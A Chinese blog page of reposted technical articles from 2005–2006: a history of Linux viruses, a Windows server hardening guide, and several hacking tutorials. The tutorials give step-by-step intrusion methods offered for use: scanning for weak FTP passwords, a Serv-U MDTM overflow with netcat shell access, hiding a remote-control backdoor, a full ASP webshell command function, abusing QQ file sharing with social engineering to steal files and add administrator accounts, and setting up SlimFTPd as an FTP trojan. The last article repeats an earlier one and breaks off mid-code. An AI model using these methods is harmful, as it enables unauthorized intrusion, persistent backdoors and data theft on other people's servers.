Linux的病毒起源、发展及分类

0

分类 : 技术文摘 | 发表时间 17-01-2006

  1996年的Staog是Linux系统下的第一个病毒,它出自澳大利亚一个叫VLAD的组织(Windows 95下的第一个病毒程序Boza也系该组织所为)。Staog病毒是用汇编语言编写,专门感染二进制文件,并通过三种方式去尝试得到root权限。 Staog病毒并不会对系统有什么实质性的损坏。它应该算是一个演示版。它向世人揭示了Linux可能被病毒感染的潜在危险。Linux系统上第二个被发现的病毒是Bliss病毒,它是一个不小心被释放出来的实验性病毒。与其它病毒不同的是,Bliss本身带有免疫程序,只要在运行该程序时加上 “disinfect-files-please”选项,即可恢复系统。

  如果说刚开始时Linux病毒向人们展示的仅仅是一个概念,那么,在2001年发现的Ramen病毒,则已经开始引起很多人的担心。Ramen病毒可以自动传播,无需人工干预,所以和1988年曾使人们大受其苦的 Morris蠕虫非常相似。它只感染Red Hat 6.2和7.0版使用匿名FTP服务的服务器,它通过两个普通的漏洞RPC.statd和wu-FTP感染系统。

  表面看来,这不是一个危险的病毒。它很容易被发现,且不会对服务器做出任何有破坏性的事情。但是当它开始扫描时,将消耗大量的网络带宽。

  从1996年至今,新的Linux病毒屈指可数,这说明Linux是一个健壮的具有先天病毒免疫能力的操作系统。当然,出现这种情况,除了其自身设计优秀外,还有其它的原因。

  首先,Linux早期的使用者一般都是专业人士,就算是今天,虽然其使用者激增,但典型的使用者仍为那些有着很好的电脑背景且愿意帮助他人的人,Linux 高手更倾向于鼓励新手支持这样一种文化精神。正因为如此,Linux使用群中一种倾向就是以安全的经验尽量避免感染病毒。其次,年轻,也是Linux很少受到病毒攻击的原因之一。事实上,所有的操作系统(包括DOS和Windows)在其产生之初,也很少受到各种病毒的侵扰。

  然而, 2001年3月,美国SANS学院的全球事故分析中心(Global Incident Analysis Center——GIAC)发现,一种新的针对使用Linux系统的计算机的蠕虫病毒正通过互联网迅速蔓延,它将有可能对用户的电脑系统造成严重破坏。这种蠕虫病毒被命名为“狮子”病毒,与Ramen蠕虫病毒非常相似。但是,这种病毒的危险性更大,“狮子”病毒能通过电子邮件把一些密码和配置文件发送到一个位于china.com的域名上。Dartmouth学院安全技术研究所工程师威廉·斯蒂恩斯说:“攻击者在把这些文件发回去之后就可以通过第一次突破时的缺口再次进入整个系统。这就是它与Ramen蠕虫病毒的不同之处。事实上,Ramen病毒是一种比较友善的病毒,它在侵入系统后会自动关闭其中的漏洞,而这个病毒却让那些漏洞敞开并开辟新的漏洞。以至于如果你的系统感染了这个病毒,我们不能百分之百确信这个系统有挽救的价值,更加合理的选择很有可能是转移你的数据并且重新格式化硬盘。”

  一旦计算机被彻底感染,“狮子”病毒就会强迫电脑开始在互联网上搜寻别的受害者。不过,感染“狮子”病毒的系统少于感染Ramen病毒的系统,但是它所造成的损失却比后者大得多。


  随着Klez病毒在Linux平台上的传染,防毒软件厂商开始提醒我们微软的操作系统不再是唯一易受病毒攻击的操作系统了。即使Linux和其他一些主流 UNIX平台的用户可能不是微软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱点。除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、 Linux.Svat和BoxPoison病毒,这些都很少被提及。

  病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改网站却对编写病毒知之甚少的黑客要危险。一个被黑掉的网站可以很快修好,而病毒却更加隐蔽,会带来潜在的安全隐患,它会一直潜伏,直到给系统带来不可挽回的损害。

  另外,越多的Linux系统连接到局域网和广域网,就会有越多受攻击的可能,这是因为很多Linux病毒正在快速地扩散着。使用WINE的 Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让Linux平台运行Windows应用软件。 WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对Linux的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。

  Linux平台下的病毒分类

  可执行文件型病毒:可执行文件型病毒是指能够寄生在文件中的,以文件为主要感染对象的病毒。病毒制造者们无论使用什么武器,汇编或者C,要感染ELF文件都是轻而易举的事情。这方面的病毒如Lindose,当其发现一个ELF文件时,它将检查被感染的机器类型是否为Intel 80386,如果是,则查找该文件中是否有一部分的大小大于 2,784字节(或十六进制AEO),如果满足这些条件,病毒将用自身代码覆盖它并添加宿主文件的相应部分的代码,同时将宿主文件的入口点指向病毒代码部分。一个名为Alexander Bartolich的学生发表了一篇名为《如何编写一个Linux的病毒》的文章,详细描述了如何制作一个感染在Linux/i386的ELF可执行文件的寄生文件病毒。有了这样具启发性的、在网上发布的文档,基于Linux的病毒数量只会增长的更快,特别是自Linux的应用越来越广泛之后。

  蠕虫(worm)病毒:1988年Morris蠕虫爆发后,Eugene H. Spafford 为了区分蠕虫和病毒,给出了蠕虫的技术角度的定义,“计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。” (worm is a program that can run by itself and can propagate a fully working version of itself to other machines. )。在Linux平台下,蠕虫病毒极为猖獗,像利用系统漏洞进行传播的ramen,lion,Slapper……这些臭名远播的家伙每一个都感染了大量的 Linux系统,造成了巨大的损失。它们就是开放原代码世界的nimda,红色代码。在未来,这种蠕虫病毒仍然会愈演愈烈,Linux系统应用越广泛,蠕虫的传播程度和破坏能力也会随之增加。

  脚本病毒:目前出现比较多的是使用shell脚本语言编写的病毒。此类病毒编写较为简单,但是破坏力同样惊人。我们知道,Linux系统中有许多的以.sh结尾的脚本文件,而一个短短十数行的shell脚本就可以在短时间内遍历整个硬盘中的所有脚本文件,进行感染。因此病毒制造者不需要具有很高深的知识,就可以轻易编写出这样的病毒,对系统进行破坏,其破坏性可以是删除文件,破坏系统正常运行,甚至下载一个木马到系统中等等。

  后门程序:在广义的病毒定义概念中,后门也已经纳入了病毒的范畴。活跃在Windows系统中的后门这一入侵者的利器在Linux平台下同样极为活跃。从增加系统超级用户账号的简单后门,到利用系统服务加载,共享库文件注射,rootkit工具包,甚至可装载内核模块(LKM),Linux平台下的后门技术发展非常成熟,隐蔽性强,难以清除。是Linux系统管理员极为头疼的问题。

  病毒、蠕虫和木马基本上意味着自动化的黑客行为,也许被病毒攻击比被黑客攻击更可能发生。直接的黑客攻击目标一般是服务器,而病毒是等机会的麻烦制造者。如果你的网络包含了Linux系统,特别危险的是服务器,不要在作出反应

防溢出提权攻击解决办法

0

分类 : 技术文摘 | 发表时间 16-01-2006

  本文将为大家介绍在Microsoft系列(Win2k Win2k3)SERVER中如何简单快速的解决诸如反弹木马、Overflow溢出、提升权限、反弹Shell攻击类的安全威胁之详细防范设置步骤;读完本文,您将可以使您服务器免去被溢出、提升权限等安全威胁。

  前言:

  在骇客频频攻击、在系统漏洞层出不穷的今天,作为网络管理员、系统管理员的我们虽然在服务器的安全上都下了不少功夫:诸如,及时的打上系统安全补丁、进行一些常规的安全配置,但是仍然不太可能每台服务器都会在第一时间内给系统打上全新补丁。因此我们必需要在还未被入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外;下面就以本人一直以来所用到的最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家讲讲:(由于N久没有时间写文章了,以前早就答应过大家要写这篇文章给大家,但一直没有时间,有些对不住大家了^_^,在这里还望大家海涵… )

  服务器安全设置之防溢出提权攻击解决办法正文:

  1、如何可以防止溢出类的骇客攻击呢?

  ① 尽最大的可能性将系统的漏洞补丁都打完;最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。如果您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级。(关于Microsoft WSUS 2.0的安装与配置可以参考此文:http://www.31896.net/html/2006-1-5/14001689122.shtml )

  ② 停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实如果WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。

  ③ 启动TCP/IP端口的过滤:仅打开常用的TCP如21、80、25、110、3389等端口;如果安全要求级别高一点可以将UDP端口关闭,当然如果这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中”只允许”TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可;其它无用均不开放。

  ④ 启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反弹类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,你可以到服安讨论Search “IPSec”,就 会有N多关于IPSec的应用资料..)
  ⑤ 删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制关键系统文件、命令及文件夹:

  ⒈ 黑客通常在溢出得到shell后,来用诸如net.exe net1.exe ipconfig.exe user.exe query.exe regedit.exe regsvr32.exe 来达 到进一步控制服务器的目的如:加账号了,克隆管理员了等等;这里我们可以将这些命令程序删除或者改名。(注意:在删除与改名时先停掉文件复制服务(FRS)或者先将 %windir%\system32\dllcache\下的对应文件删除或改名。)

  2.也或者将这些.exe文件移动到你指定的文件夹,这样也方便以后管理员自己使用 ^0^

  3.访问控制表列ACLS控制:找到%windir%\system32下找到cmd.exe、cmd32.exe net.exe net1.exe ipconfig.exe tftp.exe ftp.exe user.exe reg.exe regedit.exe regedt32.exe regsvr32.exe 这些黑客常用的文件,在“属性”→“安全”中对他们进行访问的ACLs用户进 行定义,诸如只给administrator有权访问,如果需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用;那么我们只需要将system用户 在ACLs中进行拒绝访问即可。(如果你性格比较BT的话呢.^_^那么就来一招拒绝所有用户吧!,这里就请各类看官根据自己实情进行处理了)。

  4.如果你觉得在GUI下面太麻烦的话,你也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改,或者说将他写成一个.bat批处理 文件来执行以及对这些命令进行修改。(具体用户自己参见cacls /? 帮助进行,由于这里的命令太多我就不一一列举写成批处理代码给各位了!!)

  5.对磁盘如C/D/E/F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的,另外特别是win2k,对Winnt、Winnt\System、Document and Setting等文件夹。

  ⑥ 进行注册表的修改禁用命令解释器: (如果您觉得用⑤的方法太烦琐的话,那么您不防试试下面一劳永逸的办法来禁止CMD的运行^_^)

  通过修改注册表,可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。具体方法:新建一个双字节(REG_DWORD)执行 HKEY_CURRENT_USER\Software\Policies\ Microsoft\Windows\System\DisableCMD,修改其值为1,命令解释器和批处理文件都不能被运行。修改其值为2,则只是禁止命令解释器的运行,反之将值改为0,则是打开CMS命令解释器。如果您赚手动太麻烦的话,请将下面的代码保存为*.reg文件,然后导入。

  Windows Registry Editor Version 5.00

  [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]

  ”DisableCMD”=dword:00000001

  ⑦ 对一些以System权限运行的系统服务进行降级处理。(诸如:将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以System权限运行的服务或者 应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了…但前提是需要对这些基本运行状态、调用API等相关情况较为了解. )

  其实,关于防止如Overflow溢出类攻击的办法除了用上述的几点以外,还有N多种办法:诸如用组策略进行限制,写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了,以及对Shellcode较有研究;由于此文仅仅是讨论简单的解决办法,因此其它办法就不在这里详述了…

  2、如何在防止被骇客溢出得到Shell后对系统的而进一步入侵呢?

  ① 在做好1中上述的工作之后,基本上可以防目骇客在溢出之后得到shell了;因为即使Overflow溢出成功,但在调用CMDSHELL、以及对外联接时就卡了。 (为什么呢,因为:1.溢出后程序无法再调用到CMDSHLL我们已经禁止system访问CMD.exe了。2.溢出之后在进行反弹时已经无法对外部IP进行连接了^_^ 所以,基本上要能过system权限来反弹shell就较困难的了…)

  ② 当然世界上是不存在绝对的安全的,假设入侵者在得到了我们的shell之后,做些什么呢?一般入侵者在在得到shell之后,就会诸如利用系统命令加账号了 通过tftp、ftp、vbs等方式传文件了等等来达到进一步控制服务器。这里我们通过1上述的办法对命令进行了限制,入侵者是没有办法通过tftp、ftp来传文件了,但他们仍然可以能过echo写批处理,用批处理通过脚本BAT/VBS/VBA等从WEB上下载文件,以及修改其它盘类的文件等潜在破坏行为。所以我们需要 将echo命令也限制以及将其它盘的System写、修改文件的权限进行处理。以及将VBS/VBA类脚本以及XMLhttp等组件进行禁用或者限制system的
运行权。这样 的话别人得到Shell也无法对服务器上的文件进行删除以及进行步的控制系统了;以及本地提权反弹Shell了^_^

  后记:其它服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Overflow的安全小技巧就为大家介绍到这里…关于其它方面的服务器安全配置经验我们在下一篇文章再见吧:-) (注:由于本人才疏学浅,如文中有错误实为在所难免,还请各位看官见谅!旨在抛砖引玉,如果您有更好的办法请别忘了在论坛跟贴^0^,先行谢过!)

  关于本文版权:本文版权归[服务器安全讨论区]与[情长在线]共同所有,您可以任意转载,但务必请保留文章的完整性及作者信息;请珍惜别人的知识版权!

  关于本文作者:李泊林/LeeBolin 资深系统工程师、专业网络安全顾问。已成功为国内多家大中型企业,ISP服务商提供了完整的网络安全解决方案。尤其擅长于整体网络安全方案的设计、大型网络工程的策划、以及提供完整的各种服务器系列安全整体解决方案

利用FTP服务器的漏洞找肉鸡

0

分类 : 技术文摘 | 发表时间 13-01-2006

1.扫描并确定目标

俗话说的好,欲速则不达,要想在最短的时间内百发百中得到大量肉鸡.必须先确定存在FTP服务的主机,这通过扫描来完成
FTPSCAN是一款命令行下的FTP弱口令扫描指定的IP网段中快速扫描存在FTP弱口令的主机,速度和身材都是一级棒.用法也很简单!
步骤1:进入DOS命令行然后转到保存ftpscan的路径下 输入扫描命令:ftpscan.exe 218.109.2.1-218.109.2.255 200 IP段可以自己找
即以200的线程数扫描网段,218.109.2.1-218.109.2.255.看是否存在FTP弱口令
步骤3:不一会工夫即可扫描完,扫描结果在同目录的ftpscan.txt下保存, 打开查看,可以看到一些开放了FTP弱口令的主机.这些就是我们即将练枪的靶子

2.确认FTP服务器类型

虽然我们通过刚才的步骤得到了大量存在FTP弱口令的主机,但并不表明它们都可以被入侵.因为他们的FTP服务器类型还没确定.可能是微软的TP.或者是WUFTP等等.
而我们入侵时所利用的漏洞是serv-u FTP的, 所以还必须对这些存在FTP弱口令的主机进行一下类型确认;
步骤1 将刚才扫描生成的ftpscan.txt进行过滤.全部留下IP.以每个IP一行的规则保存.

步骤2 打开superscan扫描器.勾选”显示主机响应”,IP设置里选择”导入文件”,然后选择保存好的ftpscan.txt,最后将扫描端口定义在21上.完成之后就要吧开始扫描了

步骤3:很快扫描完毕.详细显示了被扫描主机的FTP服务器类型.可以看出有台目标主机的FTP服务器类型为:serv-u FTP

二. 入侵指定目标.
通过刚才的扫描等一系列步骤.我已经确定了要下手的目标.
下面,开始使用serv-u MDTM溢出漏洞进行入侵.

步骤1:在命令行下运行serv-u MDTM溢出的利用程序killftp.察看到帮助文件
步骤2:按照提示.我们输入命令:killftp 218.109.2.222 21 ftp ftp. 即对一台IP为218.109.2.222,帐号为FTP.密码为FTP的主机进行攻击,
可以看出,提示成功之后连接8111端口
步骤3:按照成功提示.我们利用NC端口程序连接目标主机的8111端口,输入连接命令: nc -vv 218.109.2.222 8111 很快就可以得到一个新的
DOS窗口.而且这个窗口还是管理员权限的.就这么简单


三.后门旋转保留肉鸡
通过.刚才的方法进入了服务器内部,但是要保住这台肉鸡,还真有点困难.
一是.可能它是动态I定次重新启动之后就丢了,或者是对方管理员很警觉.不让你有丝毫留后门的机会. 那么该怎么办呢?我向大家推荐一款非常好的后门工具来解决难题, web my pc是一款自动上线的远程管理软件.本来是为了管理员远程管理主机之用,它具有自动上线,连接速度快,可以直接浏览器中操作的特点.不需要任何外接软件.刚才的那台肉鸡存在terminal server(远程终端服务).我很容易通过连接就进入到其内部
下面在图形界面下将web my pc安装成为后门.步骤1:在肉鸡上打开web my pc的主程序进行设置.先填写登录名称和密码,这需要注册,因为web my pc是一家公司提供的服务,要想使用它,必须先注册.
步骤2:接下来在web my pc的主程序中填写上登录名称,密码等相关信息,设置完毕.即可开始运行.在运行时屏幕右下角的任务栏会显示其图标.
步骤3:在右下角任务栏显示的图标上点鼠标右键,选择”安装为windows服务”,这样就可以将web my pc安装为系统服务.可以找到服务:webmypc server.将其启动类型设置为”自动”并启动服务即可.这样彻底将服务安装完毕.以后每次就会随机启动.
步骤4:在右下角任务栏显示的图标非常的碍眼.很容易让管理员发现,所以必须将它去掉,方法是:点”开始”,”运行”,输入regedit.打开注册表,
进入路径为 HKEY_LOCAL_MACHINE\software\mirosoft\windows\currentversion\run 将webmypc的启动键值.webmypc删除掉即可.这样就不会在右下角任务栏显示出图标了
步骤5:一切设置完毕之后,就可以登录网站:http://dns0755.net填写申请的用户名和密码进入,然后点"自助服务"项目,可以在那里找到上线的肉鸡.名字叫:黑蛋.这样就可以远程控它了
这样利用这个漏洞以及介绍的后门webmypc,完全可以搞大量的肉鸡,而且不会担心肉鸡丢失,实在是机不可失.

用QQ文件共享漏洞入侵Win2003系统

0

分类 : 技术文摘 | 发表时间 09-01-2006

服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。

  一、在Windows2003中得到的webshell

  此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。

  登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为 wenshell只有guests组权限,再加上win2003默认禁止了“Everyone”匿名用户及“Guest”组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。

  唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。

  二、破解Serv-u的终极防范

  Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。

  前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe 文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合 nc.exe,甚至还能得到一个guest组权限的命令行下的shell。

  为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。

Function CmdShell()
If Request(“SP”)<>”" Then Session(“ShellPath”) = Request(“SP”)
ShellPath=Session(“ShellPath”)
if ShellPath=”" Then ShellPath = “cmd.exe”
if Request(“wscript”)=”yes” then
checked=” checked”
else
checked=”"
end if
If Request(“cmd”)<>”" Then DefCmd = Request(“cmd”)
SI=”<form method=‘post‘><input name=‘cmd‘ Style=‘width:92%‘ class=‘cmd‘ value=‘”&DefCmd&”‘><input type=‘submit‘ value=‘运行‘>”
SI=SI&”<textarea Style=‘width:100%;height:500;‘ class=‘cmd‘>”
If Request.Form(“cmd”)<>”" Then
if Request.Form(“wscript”)=”yes” then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&” /c “&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
<object runat=server id=ws scope=page classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
<object runat=server id=fso scope=page classid=”clsid:0D43FE01-F093-11CF-8940-00A0C9054228″></object>
<%szTempFile = server.mappath(“cmd.txt”)
Call ws.Run (ShellPath&” /c ” & DefCmd & ” > ” & szTempFile, 0, True)
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&”</textarea>”
SI=SI&”SHELL路径:<input name=‘SP‘ value=‘”&ShellPath&”‘ Style=‘width:70%‘> “
SI=SI&”<input type=‘checkbox‘ name=‘wscript‘ value=‘yes‘”&checked&”>WScript.Shell</form>”
Response.Write SI
End Function

 利用时只需在shell路径中指定上传的 cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。

  活动端口列表中又出现了 43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。

  为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对 ServUDaemon.exe中默认的管理员或密码进行了修改。

  当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。

  三、利用QQ2005共享文件漏洞将权限提升到底

  再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。

  得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞。

  该漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。

  具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:或者其他任何有利用价值的分区为共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。上传覆盖目标服务器上相同文件(如:D: TencentQQ654321ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。

  因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又能继续了。

  当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改成了“LocalAdministruser”。

  这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将 LocalAdministrator改为LocalAdministruser即可。

  然后上传修改后的ftp2.exe,在 wscript.shell中执行D:webftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。

  经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。

超级小的FTP木马—SlimFTPd的配置

0

分类 : 技术文摘 | 发表时间 04-01-2006

来个脑筋急转弯缓解一下紧张的气氛先:如果你用《黑防》的知识一不小心得到一台肉鸡,里面又有许多你想要的东西,你会怎么办呢?怎么样没有人知道吧,呵呵,当然是把他们拷回来了!
好了只是轻松一下,现在我们进入主题,正如我的脑筋急转弯说的,大家的答案也应该是拷回来吧!,但是关键是怎么拷呢?用Serv—U,把肉鸡建成为一个ftp服务器,然后狂拷东西!好,如果你不怕管理员发现你的Serv—U,或者其他的大个头的ftp软件,那么你可以看下一篇文章了。什么?怕呀!对,这就对了,凡事小心为妙,那么就用激烈的掌声有请这款小巧玲珑绿色环保功能强大配置简单开机自启动老少咸宜居家旅行必备的ftp木马——SlimFTPd。唉,不要乱扔西红柿呀,吃西红柿可以用来减肥的………
我们到国外的网站http://www.whitsoftdev.com/slimftpd/可以下载到最新版本,我这里用的3.17版本是7月11号发行的,压缩包只有40多k,解压出来也不到90k,他的官方网站上对他的功能有介绍,可惜我的英语学的不怎么样(书到用时方恨少,下一句是什么来着?到完稿还不知道,有知道的告诉一声,谢了!),所以就不冒充翻译行家了,只是郑重的告诉你,你想要的功能它都有!好不好用试一下就知道了(反正俺们这里人用过的都说好)。本文主要讲如何配置这款小木马。
解压出来有4个文件:slimftpd.conf、slimftpd.xml、SlimFTPd.exe、ServiceTool.exe。
下面我们来配置ftp小木马:用记事本打开slimftpd.conf,恐怖全部都是英语!
害怕的可以看下一篇文章了,剩下的留下看怎么配置。其实没有什么,这些英文主要是在介绍怎么配置。是我配置的账号。
大体的意思是建立一个用户名为www.hacker.com.cn,密码是3.1415926的账号,这个账号的用的目录是C:\mine,账号的权限是可读、可浏览、可写。
好了就这么简单,没有什么可怕的。注意,建立账号的时候一定要按照下面的格式写:
<User “username”>
Password “password”
Mount / 目录
Allow / Read
Allow / List
Allow / Write
</user>
空格等符号不能漏掉,而且要写在记事本的最后面一行!即
#</User>
#
的下面,否则程序不能运行!
要是想建立更多的账号,只要在上一个账号的下面空开一行,继续按照上面的格式写就可以了。
还有一项是我们要设置的,那就是我们要设置连接的端口,默认是21,为了避免冲突,最好不用默认的端口,用大于1024的端口,例如我们设置为2005,那就把这个conf文件中BindPort后面的数字改为你想要的端口2005。
其余的几项例如连接超时、最大连接数量等保存为默认就可以了。到这里基本上就设置好了,把这个conf文件保存,连同其他几个文件一起拷到肉鸡的某一个目录里面。
双击运行SlimFTPd.exe,它会在同一个目录下面生成一个名为slimftpd.log的文档,我们看一下它的内容。
如果你在slimftpd.log看到上面的内容,恭喜,你的木马运行了,你可以用ftp来连接你的肉鸡,拷贝东西了。你的操作会在这个slimftpd.log里留下记录,例如我在我的ftp目录里建立了一个名为“新文件” 的文件夹,并且成功下载了wrar33r-chn.exe,它会在里面留下记录。
但是注意,现在我们的ftp木马是不会随机器启动的,我们必须运行一下ServiceTool.exe,把SlimFTPd.exe注册为系统服务:双击ServiceTool.exe出现如下对话框。
然后点击install,出现下面的界面。
是一个出错的窗体。不用管他,点击确定,现在我们的木马就注册为系统服务了,可以随机启动了。这里有一个问题,说让你运行net start slimftpd来启动服务,但是你这样启动服务的时候它却提示服务已经启动。

还有,有时候虽然说是服务不能启动,但是却可以开机自动运行了,为什么?希望高手指教。总之现在我们的ftp服务器已经可以随机启动了。如果你不想让它随机启动了,同样双击ServiceTool.exe,出现对话框。
点击uninstall就可以了。
好了,关于这款小马我就介绍在这里,小巧玲珑绿色环保功能强大配置简单开机自启动老少咸宜居家旅行必备是这款小马的主要特点(晕,怎么西红柿又来了……),相信你在用的过程中会有体会的。但是这个小马也有自己的弱点:就是会在进程里有显示^_^。但是相信我们的高手会利用《黑防》以前讲到的知识解决这个问题、打造出更加完美的SlimFTPd的,期待中……

作者: suspense
来 源: 《黑客防线》

用QQ文件共享漏洞彻底攻破Windows2003的坚固堡垒

0

分类 : 技术文摘 | 发表时间 21-12-2005

服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。
一、在Windows2003中得到的webshell
此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。
阻碍是在权限提升时遇到的---
登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone”匿名用户及“Guest”组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。
唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。
二、破解Serv-u的终极防范
Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。
前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。
为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。
Function CmdShell()
